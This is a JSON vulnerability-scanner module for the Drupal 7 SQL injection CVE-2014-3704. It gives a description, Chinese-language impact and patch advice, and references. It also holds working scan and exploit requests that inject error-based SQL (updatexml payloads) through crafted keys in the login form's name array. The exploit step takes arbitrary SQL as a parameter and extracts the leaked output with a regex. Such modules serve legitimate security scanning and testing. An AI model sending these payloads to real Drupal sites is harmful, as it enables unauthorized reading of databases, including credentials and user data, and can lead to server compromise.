{
  "Name": "Drupal Core SQL Injection Vulnerability(CVE-2014-3704)",
  "Description": "The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.",
  "Product": "Drupal",
  "Homepage": "http://www.drupal.org/",
  "DisclosureDate": "2014-10-15",
  "Author": "mahui@gobies.org",
  "FofaQuery": "app=\"Drupal\"",	
  "Level": "2",
  "Impact": "<p>恶意攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在数据库权限足够的情况下可以向服务器中写入一句话木马，从而获取 webshell 或进一步获取服务器系统权限。<br></p>",
  "Recommandation": "<p>1、官方已修复该漏洞，请用户下载官方补丁修复该漏洞：<a href=\"https://www.drupal.org/project/drupal/issues/2357249\" target=\"_blank\">https://www.drupal.org/project/drupal/issues/2357249</a></p><p>2、升级到 Drupal 7.32及以上版本：<a href=\"https://www.drupal.org/drupal-7.32-release-notes\" target=\"_blank\">https://www.drupal.org/drupal-7.32-release-notes</a></p><p>3、部署Web应用防火墙，对数据库操作进行监控。</p>",
  "References": [
    "http://packetstormsecurity.com/files/128720/Drupal-7.X-SQL-Injection.html",
    "http://packetstormsecurity.com/files/128721/Drupal-7.31-SQL-Injection.html",
    "http://packetstormsecurity.com/files/128741/Drupal-HTTP-Parameter-Key-Value-SQL-Injection.html",
    "http://seclists.org/fulldisclosure/2014/Oct/75",
    "http://www.debian.org/security/2014/dsa-3051",
    "http://www.exploit-db.com/exploits/34984",
    "http://www.exploit-db.com/exploits/34992",
    "http://www.exploit-db.com/exploits/34993",
    "http://www.exploit-db.com/exploits/35150",
    "http://www.openwall.com/lists/oss-security/2014/10/15/23",
    "http://www.securityfocus.com/archive/1/533706/100/0/threaded",
    "http://www.securityfocus.com/bid/70595",
    "https://www.drupal.org/SA-CORE-2014-005",
    "https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html",
    "https://www.sektioneins.de/en/blog/14-11-03-drupal-sql-injection-vulnerability-PoC.html",
    "https://nvd.nist.gov/vuln/detail/CVE-2014-3704",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704"
  ],
  "HasExp": true,
  "ExpParams": [
	{
		  "name": "sql",
		  "type": "input",
		  "value": "0 or updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23"
	}
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
		"data": "pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(1,concat(0x7e,(SELECT md5(12)),0x7e),1)%23]=bob&name[0]=a",
		"data_type": "text",
		"follow_redirect": false,
		"method": "POST",
		"header": {
			"Accept-Encoding": "gzip, deflate",
			"Accept": "*/*",
			"Accept-Language": "en",
			"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
			"Connection": "close",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": "120"
		},
		"uri": "/?q=node&destination=node"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "500",
            "variable": "$code"
          },
		{
			"type": "item",
			"variable": "$body",
			"operation": "contains",
			"value": "c20ad4d76fe97759aa27a0c99bff671",
			"bz": ""
		}
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
	"AND",
	{
	  "Request": {
		"data": "pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[{{{sql}}}]=bob&name[0]=a",
		"data_type": "text",
		"follow_redirect": false,
		"method": "POST",
		"header": {
			"Accept-Encoding": "gzip, deflate",
			"Accept": "*/*",
			"Accept-Language": "en",
			"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
			"Connection": "close",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": "120"
		},
		"uri": "/?q=node&destination=node"
	  },
	  "SetVariable": ["output|lastbody|regex|(?s)DatabaseConnection(.*?)user_login_authenticate"]
	}
  ],
  "Tags": ["sqli"],
  "CVEIDs": [
    "CVE-2014-3704"
  ],
  "CVSSScore": "7.5",
  "AttackSurfaces": {
    "Application": ["Drupal"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}